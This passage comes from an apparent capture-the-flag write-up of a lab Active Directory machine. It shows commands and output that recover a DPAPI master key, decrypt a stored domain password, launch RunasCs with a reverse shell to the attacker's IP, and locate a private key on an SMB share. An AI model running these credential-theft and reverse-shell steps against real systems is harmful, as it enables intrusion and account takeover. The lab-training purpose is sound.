          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>When AD reanimates a deleted user account, only the user object is restored, but not its user profile. As such, Todd’s home directory I’m currently in is likely generated by the system at log on, and wouldn’t contain anything other than default files and folders. (By default, deleting a user does not automatically remove its user profile, so Todd’s home directly is likely deleted separately and is irreversible.)</p>

<p>However, the SMB backup would still contain all of Todd’s files, including its DPAPI master key:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\IT\Second-Line Support\Archived Users\todd.wolfe</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir /a appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\IT\Second-Line Support\Archived Users\todd.wolfe\appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110

01/29/2025  08:13 AM    &lt;DIR&gt;          .
01/29/2025  08:13 AM    &lt;DIR&gt;          ..
01/29/2025  05:53 AM               740 08949382-134f-4c63-b93c-ce52efc0aa88
01/29/2025  05:53 AM               900 BK-VOLEUR
01/29/2025  05:53 AM                24 Preferred
               3 File(s)          1,664 bytes
               2 Dir(s)   3,833,102,336 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Encrypted credentials are also found, I’ll use SMB to download all of them.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\IT\Second-Line Support\Archived Users\todd.wolfe</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir /a appdata\local\microsoft\credentials</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\IT\Second-Line Support\Archived Users\todd.wolfe\appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110

01/29/2025  08:13 AM    &lt;DIR&gt;          .
01/29/2025  08:13 AM    &lt;DIR&gt;          ..
01/29/2025  05:53 AM               740 08949382-134f-4c63-b93c-ce52efc0aa88
01/29/2025  05:53 AM               900 BK-VOLEUR
01/29/2025  05:53 AM                24 Preferred
               3 File(s)          1,664 bytes
               2 Dir(s)   3,833,102,336 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">PS C:\IT\Second-Line Support\Archived Users\todd.wolfe</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir /a appdata\roaming\microsoft\credentials</span>

<span class="win-output">Volume in drive C has no label.
Volume Serial Number is A5C3-6454

 Directory of c:\IT\Second-Line Support\Archived Users\todd.wolfe\appdata\roaming\microsoft\protect\S-1-5-21-3927696377-1337352550-2781715495-1110

01/29/2025  08:13 AM    &lt;DIR&gt;          .
01/29/2025  08:13 AM    &lt;DIR&gt;          ..
01/29/2025  05:53 AM               740 08949382-134f-4c63-b93c-ce52efc0aa88
01/29/2025  05:53 AM               900 BK-VOLEUR
01/29/2025  05:53 AM                24 Preferred
               3 File(s)          1,664 bytes
               2 Dir(s)   3,833,102,336 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>The master key is encrypted by the user’s password. I’ll use <code class="language-plaintext highlighter-rouge">impacket-dpapi</code> to recover it:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-dpapi masterkey -file masterkey -sid S-1-5-21-3927696377-1337352550-2781715495-1110 -password NightT1meP1dg3on14</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[MASTERKEYFILE]
Version     :        2 (2)
Guid        : 08949382-134f-4c63-b93c-ce52efc0aa88
Flags       :        0 (0)
Policy      :        0 (0)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)

Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>With the key, I can read the secrets. The one in the Roaming folder contains the password of <code class="language-plaintext highlighter-rouge">jeremy.combs</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-dpapi credential -file roaming_secret -key 0xd2832547d1d5e&lt;..SNIP..&gt;</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[CREDENTIAL]
LastWritten : 2025-01-29 12:55:19+00:00
Flags       : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist     : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type        : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target      : Domain:target=Jezzas_Account
Description : 
Unknown     : 
Username    : jeremy.combs
Unknown     : qT3V9pLXyN7W4m
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Once again, I’ll use RunasCs.exe to spawn a shell.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">C:\Users\svc_winrm\desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">.\runascs.exe jeremy.combs qT3V9pLXyN7W4m cmd.exe -r 10.10.14.36:8001</span>

<span class="win-output">[*] Warning: The logon for user 'jeremy.combs' is limited. Use the flag combination --bypass-uac and --logon-type '8' to obtain a more privileged token.

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-197592f$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 5768 created in background.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>(Actually, Jeremy might be able to login via WinRM, but I forgot to check.)</p>

<hr />
<h2 id="escalation-from-jeremycombs">Escalation from <code class="language-plaintext highlighter-rouge">jeremy.combs</code>:</h2>
<h3 id="tcp445---smb-2">TCP445 - SMB:</h3>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-smbclient -k -dc-ip 10.129.10.190 dc.voleur.htb</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

Type help for list of commands
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">use IT</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 .
drw-rw-rw-          0  Fri Jul 25 05:39:59 2025 ..
drw-rw-rw-          0  Fri Jan 31 02:41:29 2025 Third-Line Support</span></pre>
  </div>
</div>

<p>Jeremy got access to the Third-Line Support folder.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">cd Third-Line Support</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Fri Jan 31 02:41:29 2025 .
drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 ..
-rw-rw-rw-       2602  Fri Jan 31 02:41:29 2025 id_rsa
-rw-rw-rw-        186  Fri Jan 31 02:37:35 2025 Note.txt.txt</span></pre>
  </div>
</div>

<p>It contains a note and a private key.</p>

<p>Interestingly, when accessing the folder via Jeremy’s interactive shell, an extra <code class="language-plaintext highlighter-rouge">Backups</code> directory shows up, but it’s not accessible.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">DC</span>
    
  </div>
  <div class="terminal-body">
